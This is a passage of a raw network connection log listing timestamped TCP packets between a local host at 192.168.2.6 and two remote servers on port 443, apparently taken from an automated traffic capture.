Oct 25, 2024 10:20:23.587867975 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.588262081 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.588366032 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.588519096 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.589086056 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.589160919 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.589315891 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.589999914 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.590065002 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.590091944 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.590099096 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.590118885 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.590219021 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.590260029 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.590265036 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.590307951 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.590328932 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.590449095 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.592657089 CEST	50188	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.592674017 CEST	443	50188	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.606549978 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.606611013 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.607038975 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.607038975 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.607080936 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.618679047 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.618740082 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.618984938 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.619016886 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.619043112 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.619137049 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.619270086 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.619452000 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.619641066 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.619752884 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.619775057 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.621597052 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.621797085 CEST	50189	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.621810913 CEST	443	50189	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.626686096 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.626719952 CEST	443	50192	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.627073050 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.627073050 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.627104998 CEST	443	50192	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.659537077 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.659576893 CEST	443	50193	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.659662008 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.661375999 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.661395073 CEST	443	50193	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.673330069 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.673402071 CEST	443	50194	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.673755884 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.674129009 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:23.674160957 CEST	443	50194	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:23.983323097 CEST	443	50190	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.983715057 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.983742952 CEST	443	50190	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.984852076 CEST	443	50190	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.985063076 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.985369921 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.985425949 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.985449076 CEST	443	50190	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.985483885 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.985615015 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.985624075 CEST	443	50190	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.985682964 CEST	50190	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.986546993 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.986648083 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:23.986803055 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.987025976 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:23.987062931 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.227798939 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.228377104 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.228410006 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.231913090 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.231990099 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233083963 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233103991 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233155966 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.233339071 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.233374119 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233390093 CEST	443	50191	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.233403921 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233403921 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233448982 CEST	50191	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233788967 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.233819008 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.233974934 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.234673023 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.234694004 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.235061884 CEST	443	50192	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.235455990 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.235471964 CEST	443	50192	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.236501932 CEST	443	50192	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.236557961 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.236830950 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.236871004 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.236882925 CEST	443	50192	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.236896038 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.236922979 CEST	50192	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.237184048 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.237231970 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.237317085 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.237653971 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.237692118 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.268522024 CEST	443	50193	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.268795967 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.268815994 CEST	443	50193	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.269900084 CEST	443	50193	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.269979954 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.270706892 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.270706892 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.270803928 CEST	443	50193	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.270967007 CEST	443	50193	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.271084070 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.271084070 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.271084070 CEST	50193	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.271418095 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.271450043 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.271517038 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.271749020 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.271764040 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.291604996 CEST	443	50194	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.291970015 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.291995049 CEST	443	50194	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.293010950 CEST	443	50194	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.293083906 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.293488026 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.293488026 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.293529987 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.293592930 CEST	443	50194	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.293656111 CEST	50194	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.293847084 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.293878078 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.293943882 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.294152021 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.294164896 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.617459059 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.617744923 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.617779970 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.621553898 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.621633053 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.622035980 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.622169018 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.622221947 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.667329073 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.676081896 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.676104069 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.722940922 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.848714113 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.849112988 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.849157095 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.850168943 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.850236893 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.850634098 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.850699902 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.850807905 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.850816965 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862098932 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862351894 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.862417936 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862448931 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862592936 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862652063 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.862663031 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862761021 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862832069 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862884045 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.862893105 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.862937927 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.862946033 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.863091946 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.863158941 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.863488913 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.863568068 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.864309072 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.864377975 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.864434004 CEST	50195	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.864453077 CEST	443	50195	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.865139008 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.865171909 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:24.880793095 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.881006002 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.881032944 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.883968115 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.884032011 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.884423018 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.884495974 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.884601116 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.894848108 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.909909964 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.910221100 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.910233021 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.910582066 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:24.911326885 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.911400080 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.911789894 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.911983013 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.911988974 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.912105083 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.926080942 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.926090002 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.957346916 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:24.957360029 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:24.972985983 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.004215956 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.197361946 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.197417021 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.197514057 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.197535038 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.197547913 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.197681904 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.197776079 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.198087931 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.198242903 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.198506117 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.198518991 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.198626041 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.199193954 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.200666904 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.200800896 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.200808048 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.224534035 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.224684000 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.224772930 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.224812031 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.224849939 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.224914074 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.224924088 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.225006104 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.225122929 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.225186110 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.225197077 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.225402117 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.225409985 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.225440979 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.225500107 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.232634068 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.232768059 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.232853889 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.232863903 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.232899904 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.232955933 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.232986927 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.233139038 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.233208895 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.233222008 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.233306885 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.233397007 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.233432055 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.233442068 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.234107971 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.234116077 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.259666920 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.285526991 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.312654972 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.312880993 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.312944889 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.313123941 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.313153028 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.313297033 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.313328981 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.313585997 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.313858032 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.313935041 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.313977003 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.314359903 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.314367056 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.314434052 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.314870119 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.315586090 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.315826893 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.315833092 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.315886974 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.315929890 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.315936089 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.316025019 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.316173077 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.316178083 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.316842079 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.316874981 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.316903114 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.316910028 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.316988945 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.317213058 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.341440916 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.341617107 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.341721058 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.341726065 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.341758966 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.342521906 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.342581034 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.342607021 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.342621088 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.342658043 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.342679024 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.342686892 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.343494892 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.343529940 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.343554974 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.343575954 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.343899012 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.344093084 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.344158888 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.344216108 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.344235897 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.344248056 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.344805956 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.344819069 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.345019102 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.345122099 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.345133066 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.345885038 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.346138954 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.346153021 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.348504066 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.348753929 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.348784924 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.348815918 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.348843098 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.348908901 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.348937988 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.349443913 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.349450111 CEST	443	50198	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.349478006 CEST	50198	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.354863882 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.354912043 CEST	443	50200	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.355015039 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.355648041 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.355664015 CEST	443	50200	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.356528044 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.356583118 CEST	443	50201	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.356729031 CEST	50201	443	192.168.2.6	172.67.167.62
